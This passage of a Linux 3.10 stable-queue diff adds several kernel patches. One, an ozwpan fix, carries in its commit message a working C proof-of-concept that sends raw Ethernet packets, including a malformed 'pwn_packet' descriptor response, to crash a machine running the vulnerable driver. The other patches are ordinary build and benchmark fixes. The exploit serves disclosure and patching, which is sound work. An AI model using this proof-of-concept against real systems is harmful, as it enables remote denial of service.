+       int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
+       if (sockfd < 0) {
+               perror("socket");
+               return 1;
+       }
+
+       struct ifreq if_idx;
+       int interface_index;
+       strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
+       if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
+               perror("SIOCGIFINDEX");
+               return 1;
+       }
+       interface_index = if_idx.ifr_ifindex;
+       if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
+               perror("SIOCGIFHWADDR");
+               return 1;
+       }
+       uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
+
+       struct {
+               struct ether_header ether_header;
+               struct oz_hdr oz_hdr;
+               struct oz_elt oz_elt;
+               struct oz_elt_connect_req oz_elt_connect_req;
+       } __packed connect_packet = {
+               .ether_header = {
+                       .ether_type = htons(OZ_ETHERTYPE),
+                       .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
+                       .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+               },
+               .oz_hdr = {
+                       .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
+                       .last_pkt_num = 0,
+                       .pkt_num = htole32(0)
+               },
+               .oz_elt = {
+                       .type = OZ_ELT_CONNECT_REQ,
+                       .length = sizeof(struct oz_elt_connect_req)
+               },
+               .oz_elt_connect_req = {
+                       .mode = 0,
+                       .resv1 = {0},
+                       .pd_info = 0,
+                       .session_id = 0,
+                       .presleep = 35,
+                       .ms_isoc_latency = 0,
+                       .host_vendor = 0,
+                       .keep_alive = 0,
+                       .apps = htole16((1 << OZ_APPID_USB) | 0x1),
+                       .max_len_div16 = 0,
+                       .ms_per_isoc = 0,
+                       .up_audio_buf = 0,
+                       .ms_per_elt = 0
+               }
+       };
+
+       struct {
+               struct ether_header ether_header;
+               struct oz_hdr oz_hdr;
+               struct oz_elt oz_elt;
+               struct oz_get_desc_rsp oz_get_desc_rsp;
+       } __packed pwn_packet = {
+               .ether_header = {
+                       .ether_type = htons(OZ_ETHERTYPE),
+                       .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
+                       .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+               },
+               .oz_hdr = {
+                       .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
+                       .last_pkt_num = 0,
+                       .pkt_num = htole32(1)
+               },
+               .oz_elt = {
+                       .type = OZ_ELT_APP_DATA,
+                       .length = sizeof(struct oz_get_desc_rsp) - 2
+               },
+               .oz_get_desc_rsp = {
+                       .app_id = OZ_APPID_USB,
+                       .elt_seq_num = 0,
+                       .type = OZ_GET_DESC_RSP,
+                       .req_id = 0,
+                       .offset = htole16(0),
+                       .total_size = htole16(0),
+                       .rcode = 0,
+                       .data = {0}
+               }
+       };
+
+       struct sockaddr_ll socket_address = {
+               .sll_ifindex = interface_index,
+               .sll_halen = ETH_ALEN,
+               .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
+       };
+
+       if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
+               perror("sendto");
+               return 1;
+       }
+       usleep(300000);
+       if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
+               perror("sendto");
+               return 1;
+       }
+       return 0;
+}
+
+Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
+Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ drivers/staging/ozwpan/ozusbsvc1.c |   13 +++++++++----
+ 1 file changed, 9 insertions(+), 4 deletions(-)
+
+--- a/drivers/staging/ozwpan/ozusbsvc1.c
++++ b/drivers/staging/ozwpan/ozusbsvc1.c
+@@ -376,10 +376,15 @@ void oz_usb_rx(struct oz_pd *pd, struct
+       case OZ_GET_DESC_RSP: {
+                       struct oz_get_desc_rsp *body =
+                               (struct oz_get_desc_rsp *)usb_hdr;
+-                      int data_len = elt->length -
+-                                      sizeof(struct oz_get_desc_rsp) + 1;
+-                      u16 offs = le16_to_cpu(get_unaligned(&body->offset));
+-                      u16 total_size =
++                      u16 offs, total_size;
++                      u8 data_len;
++
++                      if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
++                              break;
++                      data_len = elt->length -
++                                      (sizeof(struct oz_get_desc_rsp) - 1);
++                      offs = le16_to_cpu(get_unaligned(&body->offset));
++                      total_size =
+                               le16_to_cpu(get_unaligned(&body->total_size));
+                       oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n");
+                       oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
diff --git a/queue-3.10/pata_octeon_cf-fix-broken-build.patch b/queue-3.10/pata_octeon_cf-fix-broken-build.patch
new file mode 100644 (file)
index 0000000..416ff17
--- /dev/null
@@ -0,0 +1,31 @@
+From 4710f2facb5c68d629015747bd09b37203e0d137 Mon Sep 17 00:00:00 2001
+From: Aaro Koskinen <aaro.koskinen@nokia.com>
+Date: Mon, 8 Jun 2015 11:32:43 +0300
+Subject: pata_octeon_cf: fix broken build
+
+From: Aaro Koskinen <aaro.koskinen@nokia.com>
+
+commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.
+
+MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
+build. Fix that.
+
+Signed-off-by: Aaro Koskinen <aaro.koskinen@nokia.com>
+Signed-off-by: Tejun Heo <tj@kernel.org>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ drivers/ata/pata_octeon_cf.c |    2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/drivers/ata/pata_octeon_cf.c
++++ b/drivers/ata/pata_octeon_cf.c
+@@ -1068,7 +1068,7 @@ static struct of_device_id octeon_cf_mat
+       },
+       {},
+ };
+-MODULE_DEVICE_TABLE(of, octeon_i2c_match);
++MODULE_DEVICE_TABLE(of, octeon_cf_match);
+ static struct platform_driver octeon_cf_driver = {
+       .probe          = octeon_cf_probe,
diff --git a/queue-3.10/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch b/queue-3.10/ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch
new file mode 100644 (file)
index 0000000..ef17d7e
--- /dev/null
@@ -0,0 +1,33 @@
+From 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 Mon Sep 17 00:00:00 2001
+From: Wang Long <long.wanglong@huawei.com>
+Date: Wed, 10 Jun 2015 08:12:37 +0000
+Subject: ring-buffer-benchmark: Fix the wrong sched_priority of producer
+
+From: Wang Long <long.wanglong@huawei.com>
+
+commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.
+
+The producer should be used producer_fifo as its sched_priority,
+so correct it.
+
+Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com
+
+Signed-off-by: Wang Long <long.wanglong@huawei.com>
+Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
+Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+---
+ kernel/trace/ring_buffer_benchmark.c |    2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/kernel/trace/ring_buffer_benchmark.c
++++ b/kernel/trace/ring_buffer_benchmark.c
+@@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_
+       if (producer_fifo >= 0) {
+               struct sched_param param = {
+-                      .sched_priority = consumer_fifo
++                      .sched_priority = producer_fifo
+               };
+               sched_setscheduler(producer, SCHED_FIFO, &param);
+       } else
index 6f91e9352b346cb7be4896ce540473a4747bf8fa..ea5af98ca4cec86a4d2f31ed68ec089034a497d1 100644 (file)
@@ -16,3 +16,12 @@ input-elantech-fix-detection-of-touchpads-where-the-revision-matches-a-known-rat
 block-fix-ext_dev_lock-lockdep-report.patch
 usb-cp210x-add-id-for-hubz-dual-zigbee-and-z-wave-dongle.patch
 usb-serial-ftdi_sio-add-support-for-a-motion-tracker-development-board.patch
+ring-buffer-benchmark-fix-the-wrong-sched_priority-of-producer.patch
+mips-fix-enabling-of-debug_stackoverflow.patch
+ozwpan-use-proper-check-to-prevent-heap-overflow.patch
+ozwpan-divide-by-zero-leading-to-panic.patch
+ozwpan-unchecked-signed-subtraction-leads-to-dos.patch
+pata_octeon_cf-fix-broken-build.patch
+drm-i915-fix-ddc-probe-for-passive-adapters.patch
+mm-memory_hotplug.c-set-zone-wait_table-to-null-after-freeing-it.patch
+cfg80211-wext-clear-sinfo-struct-before-calling-driver.patch